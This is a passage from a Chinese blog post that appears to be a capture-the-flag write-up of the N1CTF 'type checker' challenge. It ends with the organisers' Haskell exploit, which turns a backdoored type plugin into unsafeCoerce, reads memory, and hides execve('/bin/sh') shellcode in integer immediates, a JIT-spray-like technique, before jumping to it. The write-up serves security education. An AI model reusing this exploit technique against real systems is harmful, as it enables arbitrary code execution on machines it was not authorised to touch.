<p>使用类似 jit spray 的技术，通过立即数内容，将 shellcode 写在 text 中。</p>
<p>这里的假设是本地和远程的编译结果一样，这个在版本一致时基本可以保证。</p>
<h2 id="总结">总结</h2>
<p>这但是加强了对 haskell 的理解，对于接触 haskell 时间不长的同学来说是一个加强理解的不错的题目。道题目我们最后缺失了 jit spray 的方法没能完成，应当活用 jit spray 利用立即数传入 shellcode 的手法。</p>
<p>官方 exp：</p>
<figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&#123;-# LANGUAGE OverloadedStrings, DataKinds, KindSignatures,</span></span><br><span class="line"><span class="meta">  ScopedTypeVariables #-&#125;</span></span><br><span class="line"><span class="meta">&#123;-# OPTIONS_GHC -O3 #-&#125;</span></span><br><span class="line"><span class="keyword">import</span> GHC.Types.Backdoor</span><br><span class="line"></span><br><span class="line"><span class="title">backdoor</span> :: <span class="type">B1</span> <span class="number">1337</span> a -&gt; <span class="type">B2</span> <span class="number">1337</span> b</span><br><span class="line"><span class="title">backdoor</span> = id</span><br><span class="line"></span><br><span class="line"><span class="title">unsafeCoerce</span> :: a -&gt; b</span><br><span class="line"><span class="title">unsafeCoerce</span> x = unB2 (backdoor $ <span class="type">B1</span> x)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">Wrap</span> a = <span class="type">Wrap</span> &#123; <span class="title">unwrap</span> :: <span class="title">a</span> &#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- exploit the structure of the closure to read memory</span></span><br><span class="line"><span class="title">readMem</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">readMem</span> addr = unwrap (unsafeCoerce (addr - <span class="number">7</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment">-- <span class="doctag">TODO:</span> maybe related to trunk evaluation?</span></span><br><span class="line"><span class="comment">-- jmpq *(%rbx)</span></span><br><span class="line"><span class="title">jmp</span> :: <span class="type">Int</span> -&gt; ()</span><br><span class="line"><span class="title">jmp</span> addr = func (unwrap (unsafeCoerce addr)) `seq` ()</span><br><span class="line"></span><br><span class="line"><span class="comment">-- `seq` forces strictness on the first argument</span></span><br><span class="line"><span class="comment">-- ... or use BangPatterns for strictness</span></span><br><span class="line"><span class="title">getAddr</span> :: a -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">getAddr</span> x = (y `seq` unsafeCoerce y) - <span class="number">1</span></span><br><span class="line">  <span class="keyword">where</span> y = <span class="type">Wrap</span> x</span><br><span class="line"></span><br><span class="line"><span class="title">func</span> :: [<span class="type">Int</span>] -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">func</span> [] = <span class="number">0</span></span><br><span class="line"><span class="title">func</span> [x] = x</span><br><span class="line"><span class="title">func</span> (x:xs) = func xs</span><br><span class="line"></span><br><span class="line"><span class="comment">-- hardcoded shellcode function</span></span><br><span class="line"><span class="comment">-- use -O3 to make shellcode compact</span></span><br><span class="line"><span class="title">hard</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">hard</span> <span class="number">0</span> = <span class="number">1</span></span><br><span class="line"><span class="title">hard</span> n =</span><br><span class="line">  <span class="number">0x909090909090050f</span> * hard (n - <span class="number">16</span>) +</span><br><span class="line">  <span class="number">0xdeb90909090d231</span> * hard (n - <span class="number">15</span>) +</span><br><span class="line">  <span class="number">0xdeb909090909058</span> * hard (n - <span class="number">14</span>) +</span><br><span class="line">  <span class="number">0xdeb909090903b6a</span> * hard (n - <span class="number">13</span>) +</span><br><span class="line">  <span class="number">0xdeb909090df8948</span> * hard (n - <span class="number">12</span>) +</span><br><span class="line">  <span class="number">0xdeb909090e68948</span> * hard (n - <span class="number">11</span>) +</span><br><span class="line">  <span class="number">0xdeb909090909053</span> * hard (n - <span class="number">10</span>) +</span><br><span class="line">  <span class="number">0xdeb90004a3e95bb</span> * hard (n - <span class="number">9</span>) +</span><br><span class="line">  <span class="number">0xdeb909090905441</span> * hard (n - <span class="number">8</span>) +</span><br><span class="line">  <span class="number">0xdeb909090909053</span> * hard (n - <span class="number">7</span>) +</span><br><span class="line">  <span class="number">0xdeb909090909050</span> * hard (n - <span class="number">6</span>) +</span><br><span class="line">  <span class="number">0xdeb90909090c031</span> * hard (n - <span class="number">5</span>) +</span><br><span class="line">  <span class="number">0xdeb90004a3e9fbb</span> * hard (n - <span class="number">4</span>) +</span><br><span class="line">  <span class="number">0xdeb909090e48949</span> * hard (n - <span class="number">3</span>) +</span><br><span class="line">  <span class="number">0x6eb900000632d68</span> * hard (n - <span class="number">2</span>) </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">-- make it a closure so we can jmp to the shellcode</span></span><br><span class="line"><span class="title">shellcodeAddr</span> :: <span class="type">Int</span></span><br><span class="line"><span class="title">shellcodeAddr</span> = <span class="number">4220274</span></span><br><span class="line"></span><br><span class="line"><span class="title">caddr</span> :: <span class="type">Int</span></span><br><span class="line"><span class="title">caddr</span> = getAddr shellcodeAddr</span><br><span class="line"></span><br><span class="line"><span class="title">cmdBuf</span> :: <span class="type">String</span></span><br><span class="line"><span class="title">cmdBuf</span> = <span class="string">"/bin/sh"</span></span><br><span class="line"></span><br><span class="line"><span class="title">strBuf</span> :: <span class="type">String</span></span><br><span class="line"><span class="title">strBuf</span> = <span class="string">"/bin/bash"</span></span><br><span class="line"></span><br><span class="line"><span class="title">main</span> :: <span class="type">IO</span> ()</span><br><span class="line"><span class="title">main</span> = <span class="keyword">do</span></span><br><span class="line">  <span class="keyword">let</span> x = caddr + <span class="number">8</span>       <span class="comment">-- the address of the integer (which INTLIKE closure encloses)</span></span><br><span class="line">  print (jmp x)</span><br><span class="line">  y &lt;- getLine</span><br><span class="line">  print cmdBuf            <span class="comment">-- ensure these two commands don't get optimized out</span></span><br><span class="line">  print strBuf</span><br><span class="line">  print $ hard $ read y   <span class="comment">-- ensure 'hard' doesn't get optimized out</span></span><br><span class="line">  return ()</span><br></pre></td></tr></table></figure>

    </div>
    
    <div class="post-footer">
        <div>
            
            转载声明：
            商业转载请联系作者获得授权,非商业转载请注明出处 © <a href="" target="_blank">Snippet</a>
            
            
        </div>
        <div>
            
        </div>
    </div>
</article>
<div class="article-nav prev-next-wrap clearfix">
    
    <a href="/2019/09/19/learning/" class="pre-post btn btn-default" title='目前学习计划'>
        <i class="fa fa-angle-left fa-fw"></i><span class="hidden-lg">上一篇</span>
        <span class="hidden-xs">
            目前学习计划</span>
    </a>
    
    
    <a href="/2018/10/05/dragon-2018/" class="next-post btn btn-default" title='DragonCTF 2018 Pwn Challenges Writeup'>
        <span class="hidden-lg">下一篇</span>
        <span class="hidden-xs">
            DragonCTF 2018 Pwn Challenges Writeup</span><i class="fa fa-angle-right fa-fw"></i>
    </a>
    
</div>

<div id="comments">
    

<div id="vcomments" class="valine"></div>
<!--<script src="//cdn1.lncld.net/static/js/3.0.4/av-min.js"></script>
<script src="/assets/valine.min.js"></script>-->
<script src="//cdn1.lncld.net/static/js/3.0.4/av-min.js"></script>
<script src="//unpkg.com/valine@latest/dist/Valine.min.js"></script>
<script>
new Valine({
    av: AV,
    el: '#vcomments',
    appId: 'sBJ8fsglfz3e3AeXQbE8d8H8-gzGzoHsz',
    appKey: 'WFXH17M73py6bGqWl0ffMbHG',
    placeholder: '说点什么吧',
    notify: false,
    verify: true,
    avatar: 'mm',
    meta: 'nick,mail'.split(','),
    pageSize: '10',
    path: window.location.pathname,
    lang: 'zh-CN'.toLowerCase()
})
</script>



</div>


                </main>
                
                    <aside id="article-toc" role="navigation" class="col-md-4">
    <div class="widget">
        <h3 class="title">
            文章目录
        </h3>
        
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#n1ctf-type-checker-writeup"><span class="toc-text">N1CTF type checker writeup</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#废话"><span class="toc-text">废话</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#题目介绍"><span class="toc-text">题目介绍</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#理解类型插件"><span class="toc-text">理解类型插件</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#类型混淆"><span class="toc-text">类型混淆</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#一些测试"><span class="toc-text">一些测试</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#接下来的步骤"><span class="toc-text">接下来的步骤？</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#解决方法"><span class="toc-text">解决方法？</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#总结"><span class="toc-text">总结</span></a></li></ol></li></ol>
        
    </div>
</aside>
                
            </div>
        </div>
    </section>
    <footer class="main-footer">
    <div class="container">
        <div class="row">
        </div>
    </div>
</footer>
<a id="back-to-top" class="icon-btn hide">
    <i class="fa fa-chevron-up"></i>
</a>
    <div class="copyright">
    <div class="container">
        <div class="row">
            <div class="col-sm-12">
                <div class="busuanzi">
    
    访问量:
    <strong id="busuanzi_value_site_pv">
        <i class="fa fa-spinner fa-spin"></i>
    </strong>
    &nbsp; | &nbsp;
    访客数:
    <strong id="busuanzi_value_site_uv">
        <i class="fa fa-spinner fa-spin"></i>
    </strong>
    
</div>
            </div>
            <div class="col-sm-12">
                <span>Copyright &copy;
                    2019
                </span> |
                <span>
                    Powered by <a href="//hexo.io" class="copyright-links" target="_blank" rel="nofollow">Hexo</a>
                </span> |
                <span>
                    Theme by <a href="//github.com/shenliyang/hexo-theme-snippet.git" class="copyright-links" target="_blank" rel="nofollow">Snippet</a>
                </span>
            </div>
        </div>
    </div>
</div>


<script src="/assets/tagcanvas.min.js?rev=2.9"></script>
<script>
var tagOption = {
    textColour: '#444', // 字体颜色
    outlineMethod: 'block', // 选中模式
    outlineColour: '#FFDAB9', // 选中模式的颜色
    interval: 30 || 30, // 动画帧之间的时间间隔，值越大，转动幅度越大
    textHeight: 13,
    outlineRadius: 3,
    freezeActive: true || '', // 选中的标签是否继续滚动
    frontSelect: true || '', // 不选标签云后部的标签
    initial: [0.1, -0.1],
    depth: 0.5,
    decel: 0.95,
    maxSpeed: 0.03,
    reverse: true || '', // 是否反向触发
    fadeIn: 500, // 进入动画时间
    wheelZoom: false || '' // 是否启用鼠标滚轮
}
TagCanvas.Start('tag-cloud-3d', '', tagOption);
</script>


<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

<script src="/js/app.js?rev=@@hash"></script><!-- hexo-inject:begin --><!-- hexo-inject:end -->
</body>
</html>